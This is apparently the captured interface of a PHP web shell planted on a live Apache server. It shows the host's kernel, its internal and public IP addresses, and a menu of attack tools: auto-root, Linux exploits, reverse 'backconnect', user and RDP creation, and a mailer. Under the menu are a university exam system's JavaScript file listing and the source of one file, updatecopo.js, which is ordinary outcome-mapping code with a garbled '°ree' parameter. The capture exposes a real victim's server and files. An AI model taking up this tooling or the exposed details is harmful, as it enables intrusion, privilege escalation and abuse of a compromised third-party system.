Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.219.58.157
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
reva /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
Report
[ DIR ]
drwxr-xr-x
base_file
[ DIR ]
drwxr-xr-x
events
[ DIR ]
drwxr-xr-x
popups
[ DIR ]
drwxr-xr-x
AbsentEntrySubjectWise.js
14.12
KB
-rwxr-xr-x
AbsentEntrySubjectWise_old.js
13.91
KB
-rwxr-xr-x
AllkeyEvent.js
31.73
KB
-rwxr-xr-x
AllkeyEvent_18082017.js
31.73
KB
-rwxr-xr-x
Dispatch_answer_script.js
17.91
KB
-rwxr-xr-x
Dispatch_answer_script_qp.js
16.33
KB
-rwxr-xr-x
ECHblk.js
6.53
KB
-rwxr-xr-x
IdentifyTransactions.js
2.13
KB
-rwxr-xr-x
MainPage.js
15.85
KB
-rwxr-xr-x
MainPage1.js
13.52
KB
-rwxr-xr-x
Message_board.js
5.02
KB
-rwxr-xr-x
abmpreport.js
903
B
-rw-r--r--
absententrysubjectwiseQP.js
16.33
KB
-rwxr-xr-x
ack_exam_app_form.js
2.3
KB
-rwxr-xr-x
ack_rv_rt_application.js
1.89
KB
-rwxr-xr-x
admission_entry_status.js
1.06
KB
-rwxr-xr-x
ansbookentry.js
3.98
KB
-rwxr-xr-x
attendance.js
4.52
KB
-rwxr-xr-x
attendanceentrydaywise.js
25.44
KB
-rw-rw-r--
attreport.js
3.06
KB
-rw-rw-r--
backup.js
7.71
KB
-rwxr-xr-x
backup_restore.js
1.36
KB
-rwxr-xr-x
bundle_ack.js
1.42
KB
-rwxr-xr-x
bundle_dispatch.js
7.82
KB
-rwxr-xr-x
calendar-en.js
3.52
KB
-rwxr-xr-x
calendar-setup.js
8.65
KB
-rwxr-xr-x
calendar.js
48.08
KB
-rwxr-xr-x
calender.js
903
B
-rwxr-xr-x
candidate_list.js
29.59
KB
-rwxr-xr-x
candidate_list.js0104
19.41
KB
-rwxr-xr-x
candidate_list.jsMOHAN
19.42
KB
-rwxr-xr-x
candidate_list1.js
25.96
KB
-rwxr-xr-x
challan_entries.js
3.92
KB
-rwxr-xr-x
challan_preparation.js
2.77
KB
-rwxr-xr-x
checkbrowser.js
2.46
KB
-rwxr-xr-x
college.js
4.56
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.js
2.33
KB
-rwxr-xr-x
college_degree_status.js
3.29
KB
-rwxr-xr-x
collinfo_popup.js
11.62
KB
-rwxr-xr-x
control.js
17.13
KB
-rwxr-xr-x
copomarksentryexternal.js
5.95
KB
-rw-r--r--
copomaxmarksentry.js
5.29
KB
-rw-r--r--
coporeport.js
2.46
KB
-rw-r--r--
createattclass.js
6.83
KB
-rw-rw-r--
createclass.js
18.67
KB
-rw-rw-r--
daterange.js
7.94
KB
-rwxr-xr-x
degree.js
2.86
KB
-rwxr-xr-x
degree1.js
2.86
KB
-rwxr-xr-x
downloadStudentPhotos.js
1.08
KB
-rwxr-xr-x
download_misc_files.js
817
B
-rwxr-xr-x
entryexitevents.js
1.23
KB
-rwxr-xr-x
export_import.js
1.83
KB
-rwxr-xr-x
export_import_setup.js
5.47
KB
-rwxr-xr-x
ext_freeze_module_at_admin_col...
5.91
KB
-rwxr-xr-x
ext_markentry_subjectwise.js
15.64
KB
-rwxr-xr-x
feeupdation.js
5.48
KB
-rwxr-xr-x
footer.js
6.32
KB
-rwxr-xr-x
form_submit.js
1.3
KB
-rwxr-xr-x
formatdate.js
12.14
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.js
2.83
KB
-rwxr-xr-x
freeze_module_at_admin_college...
5.42
KB
-rwxr-xr-x
freeze_module_at_admin_college...
5.43
KB
-rwxr-xr-x
freeze_module_at_university_co...
4.55
KB
-rwxr-xr-x
grid_display.js
901
B
-rwxr-xr-x
ia_invigilators_dairy.js
1.1
KB
-rwxr-xr-x
ia_room_allotment_datewise.js
5.98
KB
-rwxr-xr-x
ia_roomwise_regno.js
1.15
KB
-rw-r--r--
ia_subjectwise_invigilator_dai...
1.11
KB
-rwxr-xr-x
iaabsentEntry.js
7.21
KB
-rw-rw-r--
iaroomallotmantsummary.js
1.08
KB
-rwxr-xr-x
iaroomdeclaration.js
10.39
KB
-rwxr-xr-x
iatimetable.js
4.07
KB
-rw-r--r--
import_marks.js
1.37
KB
-rwxr-xr-x
includeCSS.js
1.28
KB
-rwxr-xr-x
index.js
14.81
KB
-rwxr-xr-x
index1.js
14.55
KB
-rwxr-xr-x
index_BEFORE_LOGINPOPUP.js
4.88
KB
-rwxr-xr-x
invigilators_dairy.js
6.66
KB
-rwxr-xr-x
jquery.color.js
3.57
KB
-rwxr-xr-x
jquery.js
29.15
KB
-rwxr-xr-x
load-report-js-files.js
10.16
KB
-rwxr-xr-x
load_js_files.js
622
B
-rwxr-xr-x
load_mannual_js_files.js
45.33
KB
-rwxr-xr-x
load_mannual_js_files01032017....
18.18
KB
-rwxr-xr-x
load_mannual_js_files24042015....
12.28
KB
-rwxr-xr-x
load_mannual_js_files_19102019...
23.29
KB
-rwxr-xr-x
load_mannual_js_files_before_u...
11.57
KB
-rwxr-xr-x
markentry_studentwise.js
9.32
KB
-rwxr-xr-x
markentry_subjectwise.js
14.61
KB
-rwxr-xr-x
markentry_subjectwise2.js
16.98
KB
-rwxr-xr-x
markentry_subjectwise20092016....
14.54
KB
-rwxr-xr-x
markslistelement_report.js
5.92
KB
-rwxr-xr-x
message_text.js
1.33
KB
-rwxr-xr-x
module_setup.js
4.44
KB
-rwxr-xr-x
month_cal.js
63.03
KB
-rwxr-xr-x
month_cal1.js
1.96
KB
-rwxr-xr-x
openPopUp.js
4.94
KB
-rwxr-xr-x
popup.js
96.44
KB
-rwxr-xr-x
popup_18022017.js
96.13
KB
-rwxr-xr-x
popupold.js
57.4
KB
-rwxr-xr-x
prentrpeng.js
3.13
KB
-rw-r--r--
prsubcnt.js
2.83
KB
-rw-r--r--
qpCntReport.js
2.7
KB
-rw-rw-r--
qppattern.js
33.77
KB
-rw-r--r--
qptable_not_upd_Report.js
2.76
KB
-rw-r--r--
receive_rv_rt_application.js
1.92
KB
-rwxr-xr-x
report_SubjectListGeneral.js
3.26
KB
-rwxr-xr-x
report_setup.js
12.46
KB
-rwxr-xr-x
resultsheet.js
4.02
KB
-rw-rw-r--
revaluation.js
7.56
KB
-rwxr-xr-x
revaluation_oldtype.js
4.65
KB
-rwxr-xr-x
revaluation_withdegree.js
7.5
KB
-rwxr-xr-x
room_allotment.js
2.94
KB
-rwxr-xr-x
room_allotment_19102019.js
2.94
KB
-rwxr-xr-x
room_allotment_datewise.js
6.87
KB
-rwxr-xr-x
roomallotmantsummary.js
1.53
KB
-rwxr-xr-x
roomdeclaration.js
8.59
KB
-rwxr-xr-x
roomwise_regno.js
5.24
KB
-rwxr-xr-x
rv_rt_guide_lines.js
428
B
-rwxr-xr-x
rvdates.js
8.08
KB
-rwxr-xr-x
studSubIdent.js
5.33
KB
-rw-rw-r--
student_entry.js
38.02
KB
-rwxr-xr-x
student_entryold.js
33.98
KB
-rwxr-xr-x
studresult.js
1.58
KB
-rwxr-xr-x
subIAMarksEntry.js
7.59
KB
-rw-rw-r--
subjectAppearing_PopUp.js
1.92
KB
-rwxr-xr-x
subject_freshExam.js
12.57
KB
-rwxr-xr-x
subjectfreez.js
3.79
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
5.79
KB
-rwxr-xr-x
subjectwise_invigilator_dairy....
2.74
KB
-rwxr-xr-x
system.js
12.41
KB
-rwxr-xr-x
system_utility.js
8.69
KB
-rwxr-xr-x
teachers.js
13.71
KB
-rwxr-xr-x
transaction-series.js
6.5
KB
-rwxr-xr-x
updateSection.js
2.74
KB
-rwxr-xr-x
updatecopo.js
22.76
KB
-rw-r--r--
updateexamcnt.js
3.55
KB
-rwxr-xr-x
updateqpdet.js
20.13
KB
-rw-rw-r--
updatesspdetails.js
13.95
KB
-rw-rw-r--
uploadStudentPhotos.js
3.7
KB
-rwxr-xr-x
uploadStudentPhotos02062015.js
4.4
KB
-rwxr-xr-x
uploadStudentPhotos_beforedown...
3.52
KB
-rwxr-xr-x
upload_details.js
4.03
KB
-rwxr-xr-x
uploadcopo.js
3.16
KB
-rw-rw-r--
usersetup.js
29.89
KB
-rwxr-xr-x
usersubj_identification.js
4.21
KB
-rwxr-xr-x
validate.js
9.1
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : updatecopo.js
function callupdatecopo() { // console.log('hi'); $("#page_main_div").load("html_modules/updatecopo.html", function () { document.getElementById("display_module_name").innerHTML = "Update COPO"; document.getElementById("module_name_for_save").value = "Update COPO"; getDefaultHeadFooterLinks("Update COPO"); loadtempcode(); }); } function loadtempcode() { $.ajax({ type: "GET", url: $host_url + "loadtempcode", success: function (response) { var res = JSON.parse(response); // console.log(res.data.tempcode[0]); // return; var tempcodeopt = `<option value = "">----Select----</option>`; for (var i = 0; i < res.data.tempcode.length; i++) { tempcodeopt += `<option value = ${res.data.tempcode[i].ftempcode}>${res.data.tempcode[i].tcode}</option>`; } var degree = `<option value = "">----Select----</option>`; for (var i = 0; i < res.data.degree.length; i++) { degree += `<option value = ${res.data.degree[i].fdegree}>${res.data.degree[i].fdegree} - ${res.data.degree[i].fdescpn}</option>`; } $("#degree").html(degree); $("#tempcodecopo").html(tempcodeopt); }, }); } function loadexamno() { var deg = document.getElementById("degree").value; $.ajax({ type: "GET", data: "degree=" + deg, url: $host_url + "loadexamno", success: function (response) { var res = JSON.parse(response); var examno = `<option value = "">----Select----</option>`; for (var i = 0; i < res.data.length; i++) { examno += `<option value = ${res.data[i].fexamno}>${res.data[i].fexamname}</option>`; } $("#examno").html(examno); }, }); } function loadqpcode() { var deg = document.getElementById("degree").value; var examno = document.getElementById("examno").value; var element = document.getElementById("element").value; if (element == "theory") { $.ajax({ type: "GET", data: "element=" + element + "°ree=" + deg + "&examno=" + examno, url: $host_url + "loadqpcodetemp", success: function (response) { var res = JSON.parse(response); var qpcode = `<option value = "">----Select----</option>`; for (var i = 0; i < res.data.length; i++) { qpcode += `<option value = ${res.data[i].fqpcode}>${res.data[i].fqpcode}-${res.data[i].fsubname}</option>`; } $("#qpcode").html(qpcode); }, }); } else { $.ajax({ type: "GET", data: "element=" + element + "°ree=" + deg + "&examno=" + examno, url: $host_url + "loadqpcodetemp", success: function (response) { var res = JSON.parse(response); var qpcode = `<option value = "">----Select----</option>`; for (var i = 0; i < res.data.length; i++) { qpcode += `<option value = ${res.data[i].fcsubcode}>${res.data[i].fcsubcode}-${res.data[i].fsubname}</option>`; } $("#qpcode").html(qpcode); }, }); } } function viewTemptab() { var element = document.getElementById("element").value; var tempcode = document.getElementById("tempcodecopo").value; var deg = document.getElementById("degree").value; var examno = document.getElementById("examno").value; var qpcode = document.getElementById("qpcode").value; $.ajax({ type: "GET", data: "degree=" + deg + "&examno=" + examno + "&qpcode=" + qpcode + "&tempcode=" + tempcode + "&element=" + element, url: $host_url + "viewtemplatecodetab", success: function (response) { var res = JSON.parse(response); if (res.error_code == 0) { var slno = 1; var copo = `<table id="pocotab" class="content-tbl" width="70%" cellspacing="0" cellpadding="1" border="1" style="border-radius:5px"> <tbody> <tr> <th align="left" colspan="7" class="ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper" style="font-size:15px; padding-left:6px; height:24px;">Update COPO</th> </tr> <td align="center" style="width:20px; font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;">Sl. No.</td> <td align="center" style="width:20px; font-size:12px; padding:5px 5px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;">Qusetion No.</td> <td align="center" style="width:20px; font-size:12px; padding:5px 5px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;">Max. Marks</td> <td align="center" style="width:500px; font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;">Details</td> </tr>`; for (var i = 0; i < res.data.length; i++) { copo += `<tr class="ui-widget-content jqgrow" id = '${slno}'> <td class="tbl_row_new" style="border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;text-align:center;">${slno}</td> <td class="tbl_row_new" style="text-align:initial; border-right:1px solid #C5DBEC; padding:2px; font-size:12px; text-align:center;">${res.data[i].fqnno}</td> <td class="tbl_row_new" style="text-align:initial;border-right:1px solid #C5DBEC; padding:2px; font-size:12px;text-align:center;"> <input type="text" id="maxmarks_${slno}" style='width:90%;' name="maxmarks" value="${res.data[i].fmaxmarks}"> <input type="hidden" id="partcode_${slno}" name="partcode" value="${res.data[i].fpartcode}"> <input type="hidden" id="qncode_${slno}" name="qncode" value="${res.data[i].fqncode}"> </td> <td class="tbl_row_new" style="text-align:initial; border-right:1px solid #C5DBEC; padding:2px; font-size:12px; "> <label style = 'padding-right: 9px;' >PO1</label><input type="checkbox" id="PO1_${slno}" name="PO1" value="PO1"> <label style = 'padding-right: 9px;' >PO2</label><input type="checkbox" id="PO2_${slno}" name="PO2" value="PO2"> <label style = 'padding-right: 9px;' >PO3</label><input type="checkbox" id="PO3_${slno}" name="PO3" value="PO3"> <label style = 'padding-right: 9px;' >PO4</label><input type="checkbox" id="PO4_${slno}" name="PO4" value="PO4"> <label style = 'padding-right: 9px;' >PO5</label><input type="checkbox" id="PO5_${slno}" name="PO5" value="PO5"> <label style = 'padding-right: 9px;' >PO6</label><input type="checkbox" id="PO6_${slno}" name="PO6" value="PO6"> <label style = 'padding-right: 9px;' >PO7</label><input type="checkbox" id="PO7_${slno}" name="PO7" value="PO7"> <label style = 'padding-right: 9px;' >PO8</label><input type="checkbox" id="PO8_${slno}" name="PO8" value="PO8"> <label style = 'padding-right: 9px;' >PO9</label><input type="checkbox" id="PO9_${slno}" name="PO9" value="PO9"> <label style = 'padding-right: 9px;' >PO10</label><input type="checkbox" id="PO10_${slno}" name="PO10" value="PO10"> <label style = 'padding-right: 9px;' >PO11</label><input type="checkbox" id="PO11_${slno}" name="PO11" value="PO11"> <label style = 'padding-right: 9px;' >PO12</label><input type="checkbox" id="PO12_${slno}" name="PO12" value="PO12"> <br> <span></span> <label style = 'padding-right: 8px;' >CO1</label><input type="checkbox" id="CO1_${slno}" name="CO1" value="CO1"> <label style = 'padding-right: 8px;' >CO2</label><input type="checkbox" id="CO2_${slno}" name="CO2" value="CO2"> <label style = 'padding-right: 8px;' >CO3</label><input type="checkbox" id="CO3_${slno}" name="CO3" value="CO3"> <label style = 'padding-right: 8px;' >CO4</label><input type="checkbox" id="CO4_${slno}" name="CO4" value="CO4"> <label style = 'padding-right: 8px;' >CO5</label><input type="checkbox" id="CO5_${slno}" name="CO5" value="CO5"> <label style = 'padding-right: 8px;' >CO6</label><input type="checkbox" id="CO6_${slno}" name="CO6" value="CO6"> <br> <span></span> <label>PSO1</label><input type="checkbox" id="PSO1_${slno}" name="PSO1" value="PSO1"> <label>PSO2</label><input type="checkbox" id="PSO2_${slno}" name="PSO2" value="PSO2"> <label>PSO3</label><input type="checkbox" id="PSO3_${slno}" name="PSO3" value="PSO3"> <label>PSO4</label><input type="checkbox" id="PSO4_${slno}" name="PSO4" value="PSO4"> <label>PSO5</label><input type="checkbox" id="PSO5_${slno}" name="PSO5" value="PSO5"><br> </td> </tr>`; slno++; } $("#copotab").html(copo); slno = 1; for (var i = 0; i < res.data.length; i++) { if (res.data[i].fpo.split("*").indexOf("PO1") != -1) { $(`#PO1_${slno}`).attr("checked", "checked"); } if (res.data[i].fpo.split("*").indexOf("PO2") != -1) { $("#PO2_" + slno).attr("checked", "checked"); } if (res.data[i].fpo.split("*").indexOf("PO3") != -1) { $("#PO3_" + slno).attr("checked", "checked"); } if (res.data[i].fpo.split("*").indexOf("PO4") != -1) { $("#PO4_" + slno).attr("checked", "checked"); } if (res.data[i].fpo.split("*").indexOf("PO5") != -1) { $("#PO5_" + slno).attr("checked", "checked"); } if (res.data[i].fpo.split("*").indexOf("PO6") != -1) { $("#PO6_" + slno).attr("checked", "checked"); } if (res.data[i].fpo.split("*").indexOf("PO7") != -1) { $("#P7_" + slno).attr("checked", "checked"); } if (res.data[i].fpo.split("*").indexOf("PO8") != -1) { $("#PO8_" + slno).attr("checked", "checked"); } if (res.data[i].fpo.split("*").indexOf("PO9") != -1) { $("#PO9_" + slno).attr("checked", "checked"); } if (res.data[i].fpo.split("*").indexOf("PO10") != -1) { $("#PO10_" + slno).attr("checked", "checked"); } if (res.data[i].fpo.split("*").indexOf("PO11") != -1) { $("#PO11_" + slno).attr("checked", "checked"); } if (res.data[i].fpo.split("*").indexOf("PO12") != -1) { $("#PO12_" + slno).attr("checked", "checked"); } if (res.data[i].fco.split("*").indexOf("CO1") != -1) { $("#CO1_" + slno).attr("checked", "checked"); } if (res.data[i].fco.split("*").indexOf("CO2") != -1) { $("#CO2_" + slno).attr("checked", "checked"); } if (res.data[i].fco.split("*").indexOf("CO3") != -1) { $("#CO3_" + slno).attr("checked", "checked"); } if (res.data[i].fco.split("*").indexOf("CO4") != -1) { $("#CO4_" + slno).attr("checked", "checked"); } if (res.data[i].fco.split("*").indexOf("CO5") != -1) { $("#CO5_" + slno).attr("checked", "checked"); } if (res.data[i].fco.split("*").indexOf("CO6") != -1) { $("#CO6_" + slno).attr("checked", "checked"); } if (res.data[i].fpso.split("*").indexOf("PSO1") != -1) { $("#PSO1_" + slno).attr("checked", "checked"); } if (res.data[i].fpso.split("*").indexOf("PSO2") != -1) { $("#PSO2_" + slno).attr("checked", "checked"); } if (res.data[i].fpso.split("*").indexOf("PSO3") != -1) { $("#PSO3_" + slno).attr("checked", "checked"); } if (res.data[i].fpso.split("*").indexOf("PSO4") != -1) { $("#PSO4_" + slno).attr("checked", "checked"); } if (res.data[i].fpso.split("*").indexOf("PSO5") != -1) { $("#PSO5_" + slno).attr("checked", "checked"); } slno++; } } }, }); } function loadcopo() { var tempcode = document.getElementById("tempcodecopo").value; $.ajax({ type: "GET", data: "tempcode=" + tempcode, url: $host_url + "loadpcopotable", success: function (response) { var res = JSON.parse(response); // console.log(res.data); // if (res.error_code == 0) { // var slno = 1; // var copo = `<table id="pocotab" class="content-tbl" width="70%" cellspacing="0" cellpadding="1" border="1" style="border-radius:5px"> // <tbody> // <tr> // <th align="left" colspan="7" class="ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper" // style="font-size:15px; padding-left:6px; height:24px;">Update COPO</th> // </tr> // <td align="center" style="width:40px; font-size:12px; // border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;">Sl. No.</td> // <td align="center" style="width:70px; font-size:12px; padding:5px 5px; // border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;">Qusetion No.</td> // <td align="center" style="width:70px; font-size:12px; padding:5px 5px; // border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;">Max. Marks</td> // <td align="center" style="width:200px; font-size:12px; // border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;">Details</td> // </tr>`; // for (var i = 0; i < res.data.length; i++) { // copo += `<tr class="ui-widget-content jqgrow" id = '${slno}'> // <td class="tbl_row_new" style="border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;text-align:center;">${slno}</td> // <td class="tbl_row_new" style="text-align:initial; border-right:1px solid #C5DBEC; padding:2px; font-size:12px; text-align:center;">${res.data[i].fqnno}</td> // <td class="tbl_row_new" style="text-align:initial;border-right:1px solid #C5DBEC; padding:2px; font-size:12px;text-align:center;">${res.data[i].fmaxmarks} // <input type="hidden" id="partcode_${slno}" name="partcode" value="${res.data[i].fpartcode}"> // <input type="hidden" id="qncode_${slno}" name="qncode" value="${res.data[i].fqncode}"> // </td> // <td class="tbl_row_new" style="text-align:initial; border-right:1px solid #C5DBEC; padding:2px; font-size:12px; "> // <label>PO1</label><input type="checkbox" id="PO1_${slno}" name="PO1" value="PO1"> // <label>PO2</label><input type="checkbox" id="PO2_${slno}" name="PO2" value="PO2"> // <label>PO3</label><input type="checkbox" id="PO3_${slno}" name="PO3" value="PO3"> // <label>PO4</label><input type="checkbox" id="PO4_${slno}" name="PO4" value="PO4"> // <label>PO5</label><input type="checkbox" id="PO5_${slno}" name="PO5" value="PO5"><br> // <span></span> // <label>CO1</label><input type="checkbox" id="CO1_${slno}" name="CO1" value="CO1"> // <label>CO2</label><input type="checkbox" id="CO2_${slno}" name="CO2" value="CO2"> // <label>CO3</label><input type="checkbox" id="CO3_${slno}" name="CO3" value="CO3"> // <label>CO4</label><input type="checkbox" id="CO4_${slno}" name="CO4" value="CO4"> // <label>CO5</label><input type="checkbox" id="CO5_${slno}" name="CO5" value="CO5"><br> // <span></span> // <label>PSO1</label><input type="checkbox" id="PSO1_${slno}" name="PSO1" value="PSO1"> // <label>PSO2</label><input type="checkbox" id="PSO2_${slno}" name="PSO2" value="PSO2"> // <label>PSO3</label><input type="checkbox" id="PSO3_${slno}" name="PSO3" value="PSO3"> // <label>PSO4</label><input type="checkbox" id="PSO4_${slno}" name="PSO4" value="PSO4"> // <label>PSO5</label><input type="checkbox" id="PSO5_${slno}" name="PSO5" value="PSO5"><br> // </td> // </tr>`; // slno++; // } // $("#copotab").html(copo); // slno = 1; // for (var i = 0; i < res.data.length; i++) { // if (res.data[i].fpo.search("PO1") != -1) { // $(`#PO1_${slno}`).attr("checked", "checked"); // } // if (res.data[i].fpo.search("PO2") != -1) { // $("#PO2_" + slno).attr("checked", "checked"); // } // if (res.data[i].fpo.search("PO3") != -1) { // $("#PO3_" + slno).attr("checked", "checked"); // } // if (res.data[i].fpo.search("PO4") != -1) { // $("#PO4_" + slno).attr("checked", "checked"); // } // if (res.data[i].fpo.search("PO5") != -1) { // $("#PO5_" + slno).attr("checked", "checked"); // } // if (res.data[i].fco.search("CO1") != -1) { // $("#CO1_" + slno).attr("checked", "checked"); // } // if (res.data[i].fco.search("CO2") != -1) { // $("#CO2_" + slno).attr("checked", "checked"); // } // if (res.data[i].fco.search("CO3") != -1) { // $("#CO3_" + slno).attr("checked", "checked"); // } // if (res.data[i].fco.search("CO4") != -1) { // $("#CO4_" + slno).attr("checked", "checked"); // } // if (res.data[i].fco.search("CO5") != -1) { // $("#CO5_" + slno).attr("checked", "checked"); // } // if (res.data[i].fpso.search("PSO1") != -1) { // $("#PSO1_" + slno).attr("checked", "checked"); // } // if (res.data[i].fpso.search("PSO2") != -1) { // $("#PSO2_" + slno).attr("checked", "checked"); // } // if (res.data[i].fpso.search("PSO3") != -1) { // $("#PSO3_" + slno).attr("checked", "checked"); // } // if (res.data[i].fpso.search("PSO4") != -1) { // $("#PSO4_" + slno).attr("checked", "checked"); // } // if (res.data[i].fpso.search("PSO5") != -1) { // $("#PSO5_" + slno).attr("checked", "checked"); // } // slno++; // } // } }, }); } function savecopo() { var pocopso_arru = {}; var arr_fin = []; var tempcode = document.getElementById("tempcodecopo").value; var deg = document.getElementById("degree").value; var examno = document.getElementById("examno").value; var qpcode = document.getElementById("qpcode").value; var element = document.getElementById("element").value; var target = document.getElementById("target").value; $("#pocotab tr:gt(0)").each(function () { var this_row = $(this.id); let slno = this_row["selector"]; if (slno != "") { let partcode = document.getElementById("partcode_" + slno).value; let qncode = document.getElementById("qncode_" + slno).value; let maxmarks = document.getElementById("maxmarks_" + slno).value; let po1 = document.getElementById("PO1_" + slno).checked; let po2 = document.getElementById("PO2_" + slno).checked; let po3 = document.getElementById("PO3_" + slno).checked; let po4 = document.getElementById("PO4_" + slno).checked; let po5 = document.getElementById("PO5_" + slno).checked; let po6 = document.getElementById("PO6_" + slno).checked; let po7 = document.getElementById("PO7_" + slno).checked; let po8 = document.getElementById("PO8_" + slno).checked; let po9 = document.getElementById("PO9_" + slno).checked; let po10 = document.getElementById("PO10_" + slno).checked; let po11 = document.getElementById("PO11_" + slno).checked; let po12 = document.getElementById("PO12_" + slno).checked; let co1 = document.getElementById("CO1_" + slno).checked; let co2 = document.getElementById("CO2_" + slno).checked; let co3 = document.getElementById("CO3_" + slno).checked; let co4 = document.getElementById("CO4_" + slno).checked; let co5 = document.getElementById("CO5_" + slno).checked; let co6 = document.getElementById("CO6_" + slno).checked; let pso1 = document.getElementById("PSO1_" + slno).checked; let pso2 = document.getElementById("PSO2_" + slno).checked; let pso3 = document.getElementById("PSO3_" + slno).checked; let pso4 = document.getElementById("PSO4_" + slno).checked; let pso5 = document.getElementById("PSO5_" + slno).checked; postr = ""; if (po1 == true) { postr += "PO1*"; } if (po2 == true) { postr += "PO2*"; } if (po3 == true) { postr += "PO3*"; } if (po4 == true) { postr += "PO4*"; } if (po5 == true) { postr += "PO5*"; } if (po6 == true) { postr += "PO6*"; } if (po7 == true) { postr += "PO7*"; } if (po8 == true) { postr += "PO8*"; } if (po9 == true) { postr += "PO9*"; } if (po10 == true) { postr += "PO10*"; } if (po11 == true) { postr += "PO11*"; } if (po12 == true) { postr += "PO12*"; } costr = ""; if (co1 == true) { costr += "CO1*"; } if (co2 == true) { costr += "CO2*"; } if (co3 == true) { costr += "CO3*"; } if (co4 == true) { costr += "CO4*"; } if (co5 == true) { costr += "CO5*"; } if (co6 == true) { costr += "CO6*"; } psostr = ""; if (pso1 == true) { psostr += "PSO1*"; } if (pso2 == true) { psostr += "PSO2*"; } if (pso3 == true) { psostr += "PSO3*"; } if (pso4 == true) { psostr += "PSO4*"; } if (pso5 == true) { psostr += "PSO5*"; } pocopso_arru = new Object(); pocopso_arru["partcode"] = partcode; pocopso_arru["qncode"] = qncode; pocopso_arru["maxmarks"] = maxmarks; pocopso_arru["po"] = postr; pocopso_arru["co"] = costr; pocopso_arru["pso"] = psostr; arr_fin.push(pocopso_arru); } }); // console.log(arr_fin); // return; $.ajax({ type: "GET", url: $host_url + "savecopopso", data: "element=" + element + "&fnarr=" + JSON.stringify(arr_fin) + "&tempcode=" + tempcode + "°ree=" + deg + "&examno=" + examno + "&qpcode=" + qpcode + "&target=" + target, success: function (response) { var res = JSON.parse(response); if (res.error_code == 0) { alert(res.data.msg); return; } else { alert(res.data.msg); return; } }, }); } function clearcopo() { callupdatecopo(); } function loadElement() { document.getElementById("examno").value = ""; document.getElementById("degree").value = ""; document.getElementById("qpcode").value = ""; }
Close